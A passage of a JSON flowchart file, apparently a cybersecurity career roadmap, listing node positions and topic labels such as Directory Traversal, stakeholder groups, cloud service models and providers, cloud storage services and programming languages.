17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 291,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 291,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 356.97017012850347,\n        \"y\": 3392.2215506106245\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 291,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"L0ROYh2DNlkybNDO2ezJY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 355.89368351791245,\n        \"y\": 3447.3745238318065\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Directory Traversal\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 291,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 291,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 355.89368351791245,\n        \"y\": 3447.3745238318065\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 291,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"44mOl6aMZ_hrCvBtbjeF9\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -324.75869500947636,\n        \"y\": 3352.4940622417894\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand Audience\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -324.75869500947636,\n        \"y\": 3352.4940622417894\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"lv6fI3WeJawuCbwKtMRIh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -393.71989686954646,\n        \"y\": 3392.349728065271\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Stakeholders\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 49,\n      \"style\": {},\n      \"focusable\": true,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -393.71989686954646,\n        \"y\": 3392.349728065271\n      },\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"05tH6WhToC615JTFN-TPc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -245.71989686954646,\n        \"y\": 3392.349728065271\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HR\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {},\n      \"focusable\": true,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -245.71989686954646,\n        \"y\": 3392.349728065271\n      },\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"C5bCIdPi0gGkY_r4qqoXZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -172.71989686954646,\n        \"y\": 3392.349728065271\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Legal\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 109,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 109,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -172.71989686954646,\n        \"y\": 3392.349728065271\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 109,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"05Gbgy6aawYlYIx38u8DE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -393.901013940946,\n        \"y\": 3446.1740585948232\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Compliance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 138,\n      \"height\": 49,\n      \"style\": {},\n      \"focusable\": true,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -393.901013940946,\n        \"y\": 3446.1740585948232\n      },\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"s9tHpzYRj2HCImwQhnjFM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -253.90101394094597,\n        \"y\": 3446.1740585948232\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 191,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 191,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -253.90101394094597,\n        \"y\": 3446.1740585948232\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pGVjAG7bRay7w5viG1ggu\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 186.43476385436622,\n        \"y\": 3548.7191769883557\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 480,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 480,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 186.43476385436622,\n        \"y\": 3548.7191769883557\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 480,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"vVaBQ5VtsE_ZeXbCOF8ux\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -87.48736734753959,\n        \"y\": 3534.2191769883557\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cloud Skills and Knowledge\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 282,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 282,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -87.48736734753959,\n        \"y\": 3534.2191769883557\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 282,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ThLsXkqLw--uddHz0spCH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -221.07902321451058,\n        \"y\": 3620.5468893358407\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand the Concept of Security in the Cloud\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 547,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 547,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -221.07902321451058,\n        \"y\": 3620.5468893358407\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 547,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XL3FVeGFDhAl_gSol6Tjt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -220.07902321451058,\n        \"y\": 3832.5468893358407\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand the basics and general flow of deploying in the cloud\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 545,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 545,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -220.07902321451058,\n        \"y\": 3832.5468893358407\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 545,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KGjYM4Onr5GQf1Yv9IabI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -221.07902321451058,\n        \"y\": 3673.5468893358407\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand the differences between cloud and on-premises\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 547,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 547,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -221.07902321451058,\n        \"y\": 3673.5468893358407\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 547,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RJctUpvlUJGAdwBNtDSXw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -221.07902321451058,\n        \"y\": 3726.5468893358407\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand the concept of Infrastructure as Code\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 547,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 547,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -221.07902321451058,\n        \"y\": 3726.5468893358407\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 547,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-83ltMEl3le3yD68OFnTM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -221.07902321451058,\n        \"y\": 3779.5468893358407\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand the Concept of Serverless\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 547,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 547,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -221.07902321451058,\n        \"y\": 3779.5468893358407\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 547,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sVw5KVNxPEatBRKb2ZbS_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 348.3703033755643,\n        \"y\": 3650.633058281362\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SaaS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 86,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 348.3703033755643,\n        \"y\": 3650.633058281362\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 86,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PQ_np6O-4PK2V-r5lywQg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 437.3703033755643,\n        \"y\": 3650.633058281362\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"PaaS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 86,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 437.3703033755643,\n        \"y\": 3650.633058281362\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 86,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1nPifNUm-udLChIqLC_uK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 526.3703033755643,\n        \"y\": 3650.633058281362\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"IaaS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 526.3703033755643,\n        \"y\": 3650.633058281362\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RhWmIPPDg5ajNUwyB9p0A\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 364.6681674118917,\n        \"y\": 3611.9784789416267\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand Cloud Services\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 364.6681674118917,\n        \"y\": 3611.9784789416267\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"rCZEv0M3YolFtqx8mKEJF\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 421.98741462954285,\n        \"y\": 3720.2167500044575\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cloud Models\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 123,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 421.98741462954285,\n        \"y\": 3720.2167500044575\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 123,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"ecpMKP1cQXXsfKETDUrSf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 353.0717936099714,\n        \"y\": 3758.86588043262\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Private\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 353.0717936099714,\n        \"y\": 3758.86588043262\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZDj7KBuyZsKyEMZViMoXW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 437.0717936099714,\n        \"y\": 3758.86588043262\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Public\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 437.0717936099714,\n        \"y\": 3758.86588043262\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ywRlTuTfh5-NHnv4ZyW1t\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 521.0717936099713,\n        \"y\": 3758.86588043262\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Hybrid\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 521.0717936099713,\n        \"y\": 3758.86588043262\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0LztOTc3NG3OujCVwlcVU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 350.7952998916654,\n        \"y\": 3865.907779285563\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"AWS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 350.7952998916654,\n        \"y\": 3865.907779285563\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tOLA5QPKi6LHl1ljsOMwX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 434.7952998916654,\n        \"y\": 3865.907779285563\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GCP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 82,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 434.7952998916654,\n        \"y\": 3865.907779285563\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 82,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GklBi7Qx1akN_cS9UMrha\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 519.7952998916654,\n        \"y\": 3865.907779285563\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Azure\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 90,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 519.7952998916654,\n        \"y\": 3865.907779285563\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 90,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZHcNHw2IB3VOdO7I0lgV4\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 357.95550293930967,\n        \"y\": 3829.907779285563\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Common Cloud Environments\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 357.95550293930967,\n        \"y\": 3829.907779285563\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 245,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"2jsTgT7k8MeaDtx6RJhOP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 352.96066721085106,\n        \"y\": 3971.506569719654\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"S3\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 67,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 352.96066721085106,\n        \"y\": 3971.506569719654\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 67,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9OastXVfiG1YRMm68ecnn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 421.96066721085106,\n        \"y\": 3971.506569719654\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Dropbox\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 421.96066721085106,\n        \"y\": 3971.506569719654\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4Man3Bd-ySLFlAdxbLOHw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 350.5776686216394,\n        \"y\": 4023.506569719654\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Box\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 75,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 350.5776686216394,\n        \"y\": 4023.506569719654\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 75,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MWqnhDKm9jXvDDjkeVNxm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 427.5776686216394,\n        \"y\": 4023.506569719654\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"OneDrive\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 176,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 176,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 427.5776686216394,\n        \"y\": 4023.506569719654\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 176,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fTZ4PqH-AMhYA_65w4wFO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 350.985430623081,\n        \"y\": 4077.5065697196533\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Google Drive\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 254,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 254,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 350.985430623081,\n        \"y\": 4077.5065697196533\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Wqy6ki13hP5c0VhGYEhHj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 524.960667210851,\n        \"y\": 3971.506569719654\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"iCloud\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 524.960667210851,\n        \"y\": 3971.506569719654\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"28r-hIOdH85SCDWl4y4LF\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 370.0852097885363,\n        \"y\": 3935.506569719654\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Common Cloud Storage\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 200,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 370.0852097885363,\n        \"y\": 3935.506569719654\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 200,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"_RnuQ7952N8GWZfPD60sJ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -278.8699925629752,\n        \"y\": 4027.724035563796\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Programming Skills\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -278.8699925629752,\n        \"y\": 4027.724035563796\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XiHvGy--OkPFfJeKA6-LP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 104.32253339825286,\n        \"y\": 3925.724035563796\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Python\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 135\n      },\n      \"positionAbsolute\": {\n        \"x\": 104.32253339825286,\n        \"y\": 3925.724035563796\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jehVvdz8BnruKjqHMKu5v\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 104.32253339825286,\n        \"y\": 3978.724035563796\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Go\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 135\n      },\n      \"positionAbsolute\": {\n        \"x\": 104.32253339825286,\n        \"y\": 3978.724035563796\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2SThr6mHpX6rpW-gmsqxG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 104.32253339825286,\n        \"y\": 4031.724035563796\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JavaScript\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 135\n      },\n      \"positionAbsolute\": {\n        \"x\": 104.32253339825286,\n        \"y\": 4031.724035563796\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8jj9hpe9jQIgCc8Txyw3O\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 104.32253339825286,\n        \"y\": 4084.724035563796\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"C++\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 135\n      },\n      \"positionAbsolute\": {\n        \"x\": 